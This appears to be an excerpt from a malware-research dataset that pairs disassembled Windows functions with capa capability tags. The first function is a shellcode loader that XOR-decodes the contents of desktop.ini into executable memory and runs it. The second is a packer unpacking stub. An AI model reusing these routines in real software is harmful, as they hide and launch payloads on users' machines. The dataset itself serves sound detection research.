joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000114e
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ShellExecuteW
push str.shell32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.VirtualAlloc
push str.kernel32.dll
mov dword [ebp - 4], eax
call edi
push eax
call ebx
push 1
push esi
push esi
push 0x10002084
push esi
push esi
mov ebx, eax
call dword [ebp - 4]
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000303c], eax
cmp eax, 0xffffffff
je 0x10001211
push 0x40
mov edi, 0x1000
push edi
push edi
push esi
call ebx
push esi
push 0x10003040
push edi
push eax
push dword [0x1000303c]
mov dword [0x10003038], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003038]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003040], esi
jbe 0x1000120f
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003040]
jb 0x100011fb
call eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x4d6f10
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
mov ecx, 0x70a6a4
call fcn.0056b0a5
movzx eax, byte [0x5cd9f4]
mov ecx, 1
cmp esi, dword [0x5cdf18]
push 0xffffffffffffffff
cmove eax, ecx
push esi
mov byte [0x5cd9f4], al
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movzx eax, byte [0x5cd9f4]
xor ecx, ecx
cmp esi, dword [0x5cdf18]
pop esi
cmove eax, ecx
mov byte [0x5cd9f4], al
cmp byte [0x5cda00], cl
jne 0x4d6f61
ret
push 0x10
push str.Error
push 0x5cda00
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.00555423
int3
Function at 0x4d6f90
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5d4
mov eax, dword [0x5c4008]
xor eax, esp
mov dword [esp + 0x5d0], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x10]
mov ecx, 0x70a6a4
mov esi, edx
mov dword [esp + 0x1c], eax
call fcn.0056b0a5
lea eax, [esp + 0x40]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4d7062
push esi
mov dword [esp + 0x24], eax
xorps xmm0, xmm0
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1d4]
push 0x5b0fdc
push eax
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 6
call fcn.004d74b0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x1d8]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4d70af
mov esi, dword [esp + 0x10]
test esi, esi
je 0x4d7052
mov eax, dword [esi + 4]
cmp eax, 2
je 0x4d707a
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x4d7043
call dword [sym.imp.WS2_32.dll_WSACleanup]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x5d0]
xor ecx, esp
call fcn.00551170
mov esp, ebp
pop ebp
ret
push dword [esi + 0xc]
push dword [esi + 8]
push eax
call dword [sym.imp.WS2_32.dll_socket]
push dword [esi + 0x10]
mov ebx, eax
push dword [esi + 0x18]
mov dword [esp + 0x1c], ebx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x4d70cd
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x5d0]
xor ecx, esp
call fcn.00551170
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp + 0xc]
push dword [esp + 0x20]
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x4d709e
xor edi, edi
lea eax, [esp + 0x1d0]
push edi
push 0x400
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x4d714f
nop
lea ebx, [edi + esi]
cmp ebx, 0x2710
jge 0x4d714b
push esi
lea eax, [esp + 0x1d4]
push eax
mov eax, dword [esp + 0x24]
add eax, edi
push eax
call fcn.00554b70
add esp, 0xc
mov edi, ebx
mov ebx, dword [esp + 0x14]
cmp esi, 0x400
jne 0x4d714f
push 0
push esi
lea eax, [esp + 0x1d8]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jg 0x4d7100
jmp 0x4d714f
mov ebx, dword [esp + 0x14]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x5dc]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00551170
mov esp, ebp
pop ebp
ret
Function at 0x4d7580
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov bl, cl
mov ecx, 0x70a6a4
call fcn.0056b0a5
test bl, bl
je 0x4d75f3
push 0x80880000
push 0xfffffffffffffff0
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x40000
push 0xffffffffffffffec
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x27
push 0
push 0
push 0
push 0
push 0
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 3
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [0x5cddec], 0
mov dword [0x5cdde8], 0
pop ebx
ret
call fcn.004d7500
push 0xcf0000
push 0xfffffffffffffff0
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0xffffffffffffffec
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [0x6e45d0]
add eax, dword [0x5cdde8]
push 0x24
push eax
mov eax, dword [0x6e4538]
add eax, dword [0x5cddec]
push eax
push dword [0x6e44a0]
push dword [0x6e4408]
push 0
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 1
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_ShowWindow]
pop ebx
ret
Function at 0x4dbdf0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov ecx, 0x70a6a4
call fcn.0056b0a5
mov esi, dword [ebp + 8]
push 2
push 0
push esi
call fcn.005575f8
push esi
call fcn.00557be2
push 0
push 0
push esi
mov edi, eax
call fcn.005575f8
push esi
mov esi, dword [ebp + 0xc]
push 0x30
push 1
push esi
call fcn.00557dc6
add esp, 0x2c
cmp eax, 0x30
jne 0x4dbe72
push 0xc
push str.PSE_savegame
push esi
call fcn.00556b10
add esp, 0xc
test eax, eax
jne 0x4dbe72
cmp dword [esi + 0xc], 0xab57c8af
jne 0x4dbe72
mov ecx, dword [esi + 0x24]
cmp ecx, edi
ja 0x4dbe72
mov eax, dword [esi + 0x2c]
add eax, ecx
cmp eax, edi
jne 0x4dbe72
cmp dword [esi + 0x28], 0x989680
ja 0x4dbe72
pop edi
mov al, 1
pop esi
pop ebp
ret 8
pop edi
xor al, al
pop esi
pop ebp
ret 8
Function at 0x4dc2a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
mov eax, dword [0x5c4008]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov ecx, 0x70a6a4
push ebx
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc08], eax
mov eax, dword [0x5cdf08]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xc1c], eax
call fcn.0056b0a5
push esi
push 0x5cdf70
push str._s__s.sav
lea eax, [ebp - 0x3f4]
xor bl, bl
push 0x3e8
push eax
call fcn.004dc4f0
add esp, 0x14
lea eax, [ebp - 0x3f4]
push 0x5b1154
push eax
call fcn.00556c35
mov esi, eax
add esp, 8
mov dword [ebp - 0xc0c], esi
test esi, esi
jne 0x4dc330
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret 0xc
lea eax, [ebp - 0xc04]
push eax
push esi
call fcn.004dbdf0
test al, al
je 0x4dc434
mov eax, dword [ebp - 0xbf0]
mov ecx, eax
and ecx, 0x3f
mov edx, eax
mov dword [ebp - 0xc10], ecx
mov ecx, eax
sar ecx, 0xb
and ecx, 0x1f
sar edx, 6
mov dword [ebp - 0xc18], ecx
and edx, 0x1f
mov ecx, eax
sar ecx, 0x10
and ecx, 0xf
mov dword [ebp - 0xc14], ecx
mov ecx, eax
sar ecx, 0x14
and ecx, 0x3f
cmp dword [ebp - 0xc08], 0
je 0x4dc399
mov esi, dword [ebp - 0xc08]
mov dword [esi], eax
mov esi, dword [ebp - 0xc0c]
test ecx, ecx
jne 0x4dc3a4
xor eax, eax
mov word [edi], ax
jmp 0x4dc3c7
push dword [ebp - 0xc10]
mov eax, dword [ebp - 0xc14]
push edx
inc eax
push eax
push dword [ebp - 0xc18]
push str._i__i__i:_.2i
push edi
call fcn.004fed00
add esp, 0x18
cmp byte [ebp - 0xbec], 0
je 0x4dc3df
push dword [ebp - 0xbe8]
call fcn.004f5510
mov edx, eax
jmp 0x4dc42b
mov ecx, dword [ebp - 0xbe8]
lea eax, [ecx - 2]
cmp eax, 0x7ce
ja 0x4dc434
push esi
push ecx
lea eax, [ebp - 0xbd4]
push 1
push eax
call fcn.00557dc6
mov ecx, dword [ebp - 0xbe8]
add esp, 0x10
cmp eax, ecx
jne 0x4dc434
mov eax, ecx
cdq
sub eax, edx
and eax, 0xfffffffe
cmp eax, 0x7da
jae 0x4dc48b
xor ecx, ecx
lea edx, [ebp - 0xbd4]
mov word [ebp + eax - 0xbd4], cx
mov ecx, edi
call fcn.004fef20
mov bl, 1
push esi
call fcn.005572b0
add esp, 4
test bl, bl
jne 0x4dc476
mov esi, dword [ebp - 0xc1c]
mov esi, dword [esi + 0x30]
test esi, esi
je 0x4dc476
push edi
lea eax, [ebp - 0x3f4]
mov ecx, esi
push eax
call dword [0x579378]
call esi
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00551170
mov esp, ebp
pop ebp
ret 0xc
call fcn.0055159d
int3
Function at 0x4e8210
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
mov ecx, 0x70a6a4
call fcn.0056b0a5
nop dword [eax]
cmp dword [0x5c873c], 0xffffffff
je 0x4e8310
mov ebx, 0x5cdf30
mov edi, dword [ebx]
mov eax, dword [edi + 0xc]
cmp eax, dword [0x5c873c]
jne 0x4e82f7
mov eax, dword [edi + 4]
cmp eax, 4
jne 0x4e8292
cmp dword [edi + 0x14], 0
mov dword [edi + 4], 2
jne 0x4e827c
push 0
push 0
push edi
push 0x4e80d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x5cdf18]
mov dword [edi + 0x14], eax
call fcn.004d6f10
jmp 0x4e82f7
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x5cdf18]
call fcn.004d6f10
jmp 0x4e82f7
cmp eax, 1
je 0x4e82cd
cmp eax, 2
jne 0x4e82f7
movups xmm0, xmmword [edi + 0x1c]
sub esp, 0x10
mov ecx, edi
mov eax, esp
movups xmmword [eax], xmm0
call fcn.004e8660
test al, al
je 0x4e82f7
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x5cdf18]
call fcn.004d6f10
cmp dword [edi + 4], 1
jne 0x4e82f7
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, dword [edi + 0x14]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 4], 0
mov dword [edi + 0x14], 0
add ebx, 4
cmp ebx, 0x5cdf58
jl 0x4e8232
mov dword [0x5c873c], 0xffffffff
mov esi, 0x5cdf30
mov ecx, dword [esi]
call fcn.004e8570
cmp dword [0x5c873c], 0xffffffff
jne 0x4e822d
add esi, 4
cmp esi, 0x5cdf58
jl 0x4e8315
xor edi, edi
cmp edi, 0x64
jge 0x4e8377
xor bl, bl
mov esi, 0x5cdf30
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
cmp eax, 4
je 0x4e8351
cmp eax, 1
jne 0x4e8365
mov bl, 1
call fcn.004e8570
cmp dword [0x5c873c], 0xffffffff
jne 0x4e822d
add esi, 4
cmp esi, 0x5cdf58
jl 0x4e8342
test bl, bl
je 0x4e8377
inc edi
jmp 0x4e8336
pop edi
pop esi
pop ebx
ret
Function at 0x4e8570
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
mov ecx, 0x70a6a4
call fcn.0056b0a5
mov eax, dword [edi + 4]
cmp eax, 4
jne 0x4e85d2
cmp dword [edi + 0x14], 0
mov dword [edi + 4], 2
jne 0x4e85ba
push 0
push 0
push edi
push 0x4e80d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x5cdf18]
mov dword [edi + 0x14], eax
call fcn.004d6f10
pop edi
pop esi
pop ecx
ret
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x5cdf18]
call fcn.004d6f10
pop edi
pop esi
pop ecx
ret
cmp eax, 1
jne 0x4e8605
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, dword [edi + 0x14]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 4], 0
mov dword [edi + 0x14], 0
pop edi
pop esi
pop ecx
ret
cmp eax, 2
jne 0x4e865a
movups xmm0, xmmword [edi + 0x1c]
sub esp, 0x10
mov ecx, edi
mov eax, esp
movups xmmword [eax], xmm0
call fcn.004e8660
test al, al
je 0x4e865a
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [0x5cdf18]
call fcn.004d6f10
cmp dword [edi + 4], 1
jne 0x4e865a
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [edi + 0x14]
call fcn.004d6ed0
mov dword [edi + 4], 0
mov dword [edi + 0x14], 0
pop edi
pop esi
pop ecx
ret

Function at 0x4e9620
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2718
call fcn.0056af00
mov eax, dword [0x5c4008]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x70a6a4
call fcn.0056b0a5
lea eax, [ebp + 0x10]
mov edx, 0x2710
push eax
push dword [ebp + 0xc]
lea ecx, [ebp - 0x2718]
call fcn.004dc4a0
add esp, 8
cmp dword [ebp + 8], 2
jne 0x4e96cd
cmp byte [0x5cd9f4], 0
je 0x4e96a9
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x2718]
lea ecx, [ecx + 1]
mov byte [ecx + 0x5cd9ff], al
test al, al
jne 0x4e9670
push dword [0x5cdf18]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x186a0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret
cmp byte [0x5cd9f5], 0
lea eax, [ebp - 0x2718]
je 0x4e96f3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2718]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x5b0fe0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret
push 0x10
push str.Error
push eax
push dword [0x5cd9f8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.00555423
int3
Function at 0x4ec3c0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7e0
mov eax, dword [0x5c4008]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, dword [0x5ce530]
mov ecx, 0x70a6a4
call fcn.0056b0a5
mov eax, dword [0x5cdf10]
mov byte [eax + 0x50], 0
lea eax, [ebp - 0x3f4]
push dword [esi + 0x294]
push str._sSave0
push 0x3e8
push eax
call fcn.004dc4f0
lea eax, [ebp - 0x3f4]
push eax
push 0x5cdf70
push str._s__s.sav
lea eax, [ebp - 0x7dc]
push 0x3e8
push eax
call fcn.004dc4f0
add esp, 0x24
lea eax, [ebp - 0x7dc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x3f4]
push eax
call fcn.004dc210
test al, al
mov eax, dword [esi + 4]
sete cl
mov byte [eax + 0x60], cl
mov eax, dword [esi + 0x14]
mov byte [eax + 0x60], 1
mov ecx, dword [0x6e4eb8]
mov eax, dword [0x6e5080]
test ecx, ecx
jle 0x4ec472
cmp eax, ecx
jge 0x4ec498
push 0xffffffffffffffff
push 0
push 0xffffffffffffffff
push 1
push str.Settings
mov dword [0x6e4eb8], eax
call fcn.004db900
push str.Save0
call fcn.004e68a0
call fcn.004a35b0
mov eax, dword [0x5cdf10]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
mov dword [eax + 0x2b70], 0
mov dword [eax + 0x2b50], 0
call fcn.00551170
mov esp, ebp
pop ebp
ret 4
Function at 0x4f39e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3fc
mov eax, dword [0x5c4008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x5ce530]
mov ecx, 0x70a6a4
mov dword [ebp - 0x3f8], edi
call fcn.0056b0a5
mov eax, dword [ebp + 0xc]
cmp dword [edi + 0x22c], eax
je 0x4f3b5c
mov dword [edi + 0x22c], eax
lea esi, [edi + 0x214]
push 4
lea eax, [edi + 0x215]
push eax
push esi
call fcn.00554460
add esp, 0xc
mov word [edi + 0x218], 0x30
lea eax, [edi + 0x21e]
push 4
push eax
push esi
call fcn.00556b10
add esp, 0xc
test eax, eax
jne 0x4f3b5c
mov ebx, dword [edi + 0x228]
mov edx, dword [ebx]
test edx, edx
je 0x4f3b4d
mov esi, edx
nop
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4f3a75
sub eax, edi
cmp byte [esi + eax], 0x5c
je 0x4f3a8d
dec eax
cmp byte [edx + eax], 0x5c
jne 0x4f3a84
jmp 0x4f3a8f
mov edx, esi
inc edx
add eax, edx
push eax
push 0x5cdf70
push str._s__s
lea eax, [ebp - 0x3f0]
push 0x3e8
push eax
call fcn.004dc4f0
add esp, 0x14
lea eax, [ebp - 0x3f0]
push 0x5b1154
push eax
call fcn.00556c35
add esp, 8
test eax, eax
je 0x4f3ad4
push eax
call fcn.005572b0
add esp, 4
jmp 0x4f3b37
mov esi, dword [0x6d07e0]
lea eax, [ebp - 0x3f4]
push eax
push ecx
push dword [ebx]
mov ecx, esi
call fcn.0050eff0
push eax
mov ecx, esi
call fcn.0050f350
mov edi, eax
lea eax, [ebp - 0x3f0]
push 0x5b1140
push eax
call fcn.00556c35
mov esi, eax
push esi
push dword [ebp - 0x3f4]
push 1
push edi
call fcn.005571d5
push esi
call fcn.005572b0
mov esi, dword [0x6d07e0]
add esp, 0x18
mov ecx, esi
push dword [ebx]
call fcn.0050eff0
push eax
mov ecx, esi
call fcn.0050f5f0
mov edx, dword [ebx + 4]
add ebx, 4
mov esi, edx
test edx, edx
jne 0x4f3a70
mov edi, dword [ebp - 0x3f8]
mov ecx, edi
call fcn.004ebdf0
push ecx
mov ecx, edi
call fcn.004f34e0
inc byte [edi + 0x218]
cmp byte [edi + 0x218], 0x39
jle 0x4f3b72
mov byte [edi + 0x218], 0x30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00551170
mov esp, ebp
pop ebp
ret 8
Function at 0x4f7600
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571658
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5c4008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov edi, dword [0x5ce520]
mov ecx, 0x70a6a4
mov esi, dword [0x5ce51c]
call fcn.0056b0a5
mov dword [ebx + 8], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0xc], 0
mov dword [ebx + 4], ebx
mov dword [ebx + 0x14], 1
mov dword [ebp - 4], 0
push 0xc
mov dword [ebx], vtable.CUIView.0
call fcn.0055144c
mov dword [ebp - 0x10], eax
add esp, 4
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0
mov dword [ebx + 0x28], eax
mov eax, ebx
mov dword [ebx + 0x2c], 0x10000
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], esi
mov dword [ebx + 0x24], edi
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4fe860
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x414
mov eax, dword [0x5c4008]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
mov ebx, ecx
movss dword [esp + 8], xmm3
push edi
mov ecx, 0x70a6a4
call fcn.0056b0a5
xor edi, edi
lea esi, [ebx + 0x25]
cmp byte [esi - 1], 0
je 0x4fe8fe
cmp byte [esi], 0
je 0x4fe8ab
mov ecx, dword [esi + 7]
call fcn.00500900
test eax, eax
je 0x4fe8ce
inc edi
add esi, 0x1c
cmp edi, 0x40
jl 0x4fe894
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.00551170
mov esp, ebp
pop ebp
ret 8
lea esi, [edi*8]
sub esi, edi
mov ecx, dword [ebx + esi*4 + 0x2c]
call fcn.00500780
mov eax, dword [ebx + esi*4 + 0x34]
test eax, eax
je 0x4fe8f9
push eax
call fcn.005550e4
add esp, 4
mov dword [ebx + esi*4 + 0x34], 0
mov byte [ebx + esi*4 + 0x24], 0
test edi, edi
js 0x4fe8b4
mov eax, dword [ebp + 8]
test eax, eax
js 0x4fe8b4
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.0050f6c0
test al, al
je 0x4fe8b4
mov eax, dword [ebp + 8]
lea esi, [edi*8]
movss xmm0, dword [esp + 0xc]
sub esi, edi
mov edx, dword [esp + 0x3fc]
mov dword [ebx + esi*4 + 0x30], 0
mov dword [ebx + esi*4 + 0x28], eax
lea eax, [ebx + esi*4]
lea eax, [edi + 2]
mov word [ebx + esi*4 + 0x24], 1
lea ecx, [eax*8]
mov dword [ebx + esi*4 + 0x34], 0
sub ecx, eax
movss dword [ebx + esi*4 + 0x3c], xmm0
mov eax, dword [ebp + 0xc]
mov dword [ebx + ecx*4], eax
test edx, edx
je 0x4fea28
push 0
push dword [esp + 0x408]
push dword [esp + 0x408]
push edx
call fcn.005575dd
push dword [esp + 0x40c]
add dword [esp + 0x414], 4
lea edx, [ebx + 0x30]
push 4
adc dword [esp + 0x41c], 0
lea edx, [edx + esi*4]
sub dword [esp + 0x420], 4
push 1
push edx
call fcn.00557dc6
mov edx, dword [ebx + esi*4 + 0x30]
lea ecx, [ebx + esi*4]
add esp, 0x20
lea eax, [edx - 1]
cmp eax, 0x3e6
ja 0x4fea1a
lea eax, [edx*4]
push eax
call fcn.00555564
add esp, 4
mov dword [ebx + esi*4 + 0x34], eax
lea edx, [ebx + esi*4]
mov ecx, eax
mov edx, dword [edx + 0x30]
shl edx, 2
push dword [esp + 0x3fc]
call fcn.005175e0
mov ecx, dword [ebx + esi*4 + 0x30]
lea eax, [ebx + esi*4]
shl ecx, 2
add esp, 4
mov eax, ecx
cdq
add dword [esp + 0x400], eax
adc dword [esp + 0x404], edx
sub dword [esp + 0x408], ecx
jmp 0x4fea21
mov dword [ecx + 0x30], 0
mov edx, dword [esp + 0x3fc]
cmp byte [0x5cd9f7], 0
jne 0x4fea36
or eax, 0xffffffff
jmp 0x4fea57
push dword [esp + 0x408]
lea ecx, [esp + 0x14]
push dword [esp + 0x408]
push dword [esp + 0x408]
call fcn.00500280
add esp, 0xc
mov dword [ebx + esi*4 + 0x2c], eax
test eax, eax
jns 0x4fea82
mov eax, dword [ebx + esi*4 + 0x34]
test eax, eax
je 0x4fea78
push eax
call fcn.005550e4
add esp, 4
mov dword [ebx + esi*4 + 0x34], 0
mov byte [ebx + esi*4 + 0x24], 0
jmp 0x4fe8b4
mov ecx, dword [esp + 0x41c]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00551170
mov esp, ebp
pop ebp
ret 8
Function at 0x5000d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x5c4008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x5cd9f8]
mov ecx, 0x70a6a4
call fcn.0056b0a5
push 0x200
push 0
push 0x6cf5a0
call fcn.00552c40
push 0xc200
push 0
push 0x6c33a0
call fcn.00552c40
add esp, 0x18
mov byte [0x5cd9f7], 1
push 0
push 0x5cf158
push 0
call dword [sym.imp.DSOUND.dll_DirectSoundCreate8]
test eax, eax
jns 0x500146
mov byte [0x5cd9f7], 0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret
mov eax, dword [0x5cf158]
push 2
push esi
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x18]
mov ecx, esi
call dword [0x579378]
call esi
test eax, eax
mov eax, dword [0x5cf158]
jns 0x500197
mov ecx, dword [eax]
push eax
mov byte [0x5cd9f7], 0
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x579378]
call esi
mov dword [0x5cf158], 0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00551170
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
push 0
movlpd qword [ebp - 0x28], xmm0
lea ecx, [ebp - 0x40]
push ecx
movlpd qword [ebp - 0x20], xmm0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x3c], 0x24
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 0
mov esi, dword [eax]
push ecx
push eax
mov esi, dword [esi + 0xc]
mov ecx, esi
call dword [0x579378]
call esi
test eax, eax
jns 0x5001f6
mov eax, dword [0x5cf158]
jmp 0x500167
mov eax, 4
mov dword [ebp - 0xa], 0x10
mov word [ebp - 0xc], ax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], 0x20001
mov dword [ebp - 0x14], 0xac44
mov dword [ebp - 0x10], 0x2b110
mov ecx, dword [eax]
push edx
push eax
mov esi, dword [ecx + 0x38]
mov ecx, esi
call dword [0x579378]
call esi
test eax, eax
js 0x5001ec
